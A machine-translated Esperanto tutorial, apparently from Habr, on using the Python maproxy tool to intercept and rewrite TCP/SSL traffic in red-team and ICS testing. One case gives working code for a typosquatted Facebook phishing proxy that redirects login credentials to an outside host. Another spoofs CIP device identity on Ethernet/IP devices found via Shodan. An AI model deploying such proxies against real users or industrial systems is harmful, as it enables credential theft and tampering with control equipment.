La traduko de la artikolo estis preparita sojle de la komenco de la kurso
Abstrakta
Diversaj specoj de sekurecaj taksoj, kiuj iras de regulaj provoj pri penetrado kaj operacioj de Ruĝa Teamo ĝis hakado de aparatoj IoT/ICS kaj SCADA, implikas labori kun binaraj retaj protokoloj, tio estas, esence interkapti kaj modifi retajn datumojn inter la kliento kaj la celo. Flari retan trafikon ne estas malfacila tasko ĉar ni havas ilojn kiel Wireshark, Tcpdump aŭ Scapy, sed modifo ŝajnas esti pli labor-intensa tasko ĉar ni devos havi ian interfacon por legi la retajn datumojn, filtri ĝin, ŝanĝi. ĝin sur la flugo kaj resendu ĝin al la cela gastiganto en preskaŭ reala tempo. Krome, estus ideale se tia ilo povus aŭtomate funkcii kun pluraj paralelaj konektoj kaj esti agordebla per skriptoj.
Iun tagon mi malkovris ilon nomatan
, la dokumentaro rapide klarigis al mi tion maproxy
– ĝuste kion mi bezonas. Ĉi tio estas sufiĉe simpla, diverstalenta kaj facile agordebla TCP-prokurilo. Mi testis ĉi tiun ilon sur pluraj sufiĉe kompleksaj aplikoj, inkluzive de ICS-aparatoj (kiuj generas multajn pakaĵojn) por vidi ĉu ĝi povus pritrakti multajn paralelajn konektojn, kaj la ilo funkciis bone.
Ĉi tiu artikolo prezentos vin al prilaborado de retaj datumoj sur la flugo uzante maproxy
.
trarigardo
Ilo maproxy
estas bazita sur Tornado, populara kaj matura nesinkrona interkonekta kadro en Python.
Ĝenerale, ĝi povas funkcii en pluraj reĝimoj:
TCP:TCP
- neĉifritaj TCP-konektoj;TCP:SSL
иSSL:TCP
- kun unudirekta ĉifrado;SSL:SSL
- dudirekta ĉifrado.
Ĝi venas kiel biblioteko. Por rapida komenco, vi povas uzi ekzemplojn de dosieroj, kiuj reflektas la ĉefan
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Kazo 1 - simpla dudirekta prokurilo
Bazita sur tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
defaŭlte ProxyServer()
prenas du argumentojn - la konektoloko kaj la cela haveno. server.listen()
prenas unu argumenton - la havenon por aŭskulti la envenantan konekton.
Efektivigante la skripton:
# python tcp2tcp.py
Por fari la teston, ni konektos al loka SSH-servilo per nia prokura skripto, kiu aŭskultas. 2222/tcp
haveno kaj konektas al norma haveno 22/tcp
SSH-serviloj:
La bonvena rubando informas vin, ke nia ekzempla skripto sukcese prokuris retan trafikon.
Kazo 2 - datuma modifo
Alia demo-skripto logging_proxy.py
ideala por interagi kun retaj datumoj. La komentoj en la dosiero priskribas la klasmetodojn, kiujn vi povas modifi por atingi vian celon:
La plej interesa afero estas ĉi tie:
on_c2p_done_read
– kapti datumojn survoje de la kliento al la servilo;on_p2s_done_read
- renversita.
Ni provu ŝanĝi la SSH-standardon, kiun la servilo resendas al la kliento:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Efektivigu la skripton:
Kiel vi povas vidi, la kliento estis trompita ĉar la SSH-servila nomo por li estis ŝanĝita al «DumnySSH»
.
Kazo 3 - simpla retpaĝo pri phishing
Estas senfinaj manieroj uzi ĉi tiun ilon. Ĉi-foje ni koncentriĝu pri io pli praktika de la operacia flanko de la Ruĝa Teamo. Ni imitu la landpaĝon m.facebook.com
kaj uzu kutiman domajnon kun intenca tajperaro, ekzemple, m.facebok.com
. Por pruvceloj, ni nur supozu, ke la domajno estas registrita de ni.
Ni starigos neĉifritan retan konekton kun niaj viktimoj prokurilo kaj SSL Stream al la Facebook-servilo (31.13.81.36
). Por ke ĉi tiu ekzemplo funkciu, ni devas anstataŭigi la HTTP-gastigan kaplinion kaj injekti la ĝustan gastigan nomon, kaj ni ankaŭ malŝaltos respondkunpremadon por ke ni povu facile aliri la enhavon. Finfine ni anstataŭigos la HTML-formularon, por ke la ensalutimaj akreditaĵoj estu senditaj al ni anstataŭ la serviloj de Facebook:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/eo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Eventuale:
Kiel vi povas vidi, ni sukcese povis anstataŭigi la originan retejon.
Kazo 4 - Porting Ethernet/IP
Mi traktas industriajn aparatojn kaj programaron (ICS/SCADA) dum sufiĉe da tempo, kiel programeblaj regiloj (PLC), I/O-moduloj, stiradoj, relajsoj, ŝtupetaj programaj medioj kaj multaj pli. Ĉi tiu kazo estas por tiuj, kiuj ŝatas industriajn aferojn. Haki tiajn solvojn implicas aktive ludi kun retaj protokoloj. En la sekva ekzemplo, mi ŝatus montri kiel vi povas modifi ICS/SCADA retan trafikon.
Por tio vi bezonos la jenon:
- Reto sniffer, ekzemple, Wireshark;
- Ethernet/IP aŭ nur SIP-aparato, vi povas trovi ĝin uzante la Shodan-servon;
- Nia skripto baziĝas sur
maproxy
.
Unue, ni rigardu kiel aspektas tipa identiga respondo de CIP (Komuna Industria Protokolo):
Aparato identigo estas plenumita uzante la Ethernet/IP-protokolo, kio estas plibonigita versio de la industria Ethernet-protokolo kiu envolvas kontrolprotokolojn kiel ekzemple CIP. Ni ŝanĝos la elstarigitan ID-nomon, kiu estas videbla en la ekrankopio "NI-IndComm por Eterreto" uzante nian prokuran skripton. Ni povus reuzi la skripton logging_proxy.py
kaj simile modifi la klasmetodon on_p2s_done_read
, ĉar ni volas ke malsama identecnomo estu videbla ĉe la kliento.
Kodo:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Esence, ni petis aparaton identigon dufoje, la dua respondo estis la originala unu, kaj la unua unu estis modifita sur la flugo.
Kaj la lasta
Miaopinie maproxy
Oportuna kaj simpla ilo, kiu estas verkita ankaŭ en Python, do mi kredas, ke ankaŭ vi povas profiti de ĝi. Kompreneble, ekzistas pli kompleksaj iloj por prilabori kaj modifi retajn datumojn, sed ili ankaŭ postulas pli da atento kaj estas kutime kreitaj por specifa uzokazo, ekz. maproxy
vi povas rapide efektivigi viajn ideojn por kapti retajn datumojn, ĉar la ekzemplaj skriptoj estas tre klaraj.
fonto: www.habr.com